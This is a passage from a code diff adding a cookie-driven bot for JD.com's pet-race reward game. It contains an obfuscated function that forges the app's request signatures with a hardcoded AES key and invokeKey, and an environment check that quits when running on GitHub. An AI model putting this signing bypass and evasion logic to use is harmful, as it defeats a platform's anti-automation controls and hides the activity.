`draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: "//draw.jdfcloud.com//common/pet/getPetTaskConfig?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('JSON.parse(data)', JSON.parse(data)) + $.getPetTaskConfigRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//查询赛跑信息API +function getPetRace() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/combat/detail/v2?help=false`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/detail/v2?help=false&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询赛跑信息API',(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + $.petRaceResult = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//查询赛跑排行榜 +function getRankList() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/combat/getRankList`; + $.raceUsers = []; + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/getRankList?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, `jdjoy.jd.com`, 'h5'), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询赛跑信息API',(data)) + data = JSON.parse(data); + if (data.success) { + $.raceUsers = data.datas; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//参加赛跑API +function runMatch(teamLevel, timeout = 5000) { + if (teamLevel === 10 || teamLevel === 50) timeout = 60000; + console.log(`正在参赛中,请稍等${timeout / 1000}秒,以防多个账号匹配到统一赛场\n`) + return new Promise(async resolve => { + await $.wait(timeout); + // const url = `${JD_API_HOST}/combat/match?teamLevel=${teamLevel}`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: `//jdjoy.jd.com/common/pet/combat/match?teamLevel=${teamLevel}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + // url: `//draw.jdfcloud.com/common/pet/combat/match?teamLevel=${teamLevel}&reqSource=h5`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('参加赛跑API', JSON.parse(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + $.runMatchResult = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//查询应援团信息API +function getBackupInfo() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/combat/getBackupInfo`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/getBackupInfo?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询应援团信息API',(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + $.getBackupInfoResult = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//查询赛跑获得多少积分 +function getWinCoin() { + return new Promise(resolve => { + // const url = `${weAppUrl}/combat/detail/v2?help=false&reqSource=weapp`; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: "//draw.jdfcloud.com/common/pet/combat/detail/v2?help=false&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, 'draw.jdfcloud.com', `weapp`), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询应援团信息API',(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + if (data) { + $.getWinCoinRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//领取赛跑奖励API +function receiveJoyRunAward() { + return new Promise(resolve => { + // const url = `${JD_API_HOST}/combat/receive`; + const host = `jdjoy.jd.com`; + const reqSource = 'h5'; + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/receive?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询应援团信息API',(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + $.receiveJoyRunAwardRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//能力补给站 +async function energySupplyStation(showOrder) { + let status; + await getSupplyInfo(showOrder); + if ($.getSupplyInfoRes && $.getSupplyInfoRes.success) { + if ($.getSupplyInfoRes.data) { + const { marketList } = $.getSupplyInfoRes.data; + for (let list of marketList) { + if (!list['status']) { + await scanMarket('combat/supply', { showOrder, 'supplyType': 'scan_market', 'taskInfo': list.marketLink || list['marketLinkH5'], 'reqSource': 'weapp' }); + await getSupplyInfo(showOrder); + } else { + $.log(`能力补给站 ${$.getSupplyInfoRes.data.addDistance}km里程 已领取\n`); + status = list['status']; + } + } + if (!status) { + await energySupplyStation(showOrder); + } + } + } +} +function getSupplyInfo(showOrder) { + return new Promise(resolve => { + // const url = `${weAppUrl}/combat/getSupplyInfo?showOrder=${showOrder}`; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/combat/getSupplyInfo?showOrder=${showOrder}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.get(taskUrl(url, 'draw.jdfcloud.com', `weapp`), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('查询应援团信息API',(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + if (data) { + $.getSupplyInfoRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + jdNotify = $.getdata('jdJoyNotify') ? $.getdata('jdJoyNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } else { + $.log(`\n${message}\n`); + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(url, Host, reqSource) { + return { + url: url, + headers: { + 'Cookie': cookie, + // 'reqSource': reqSource, + 'Host': Host, + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function taskPostUrl(url, body, reqSource, Host, ContentType) { + return { + url: url, + body: body, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'reqSource': reqSource, + 'Content-Type': ContentType, + 'Host': Host, + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ _0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var _0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= _0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({}) +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let 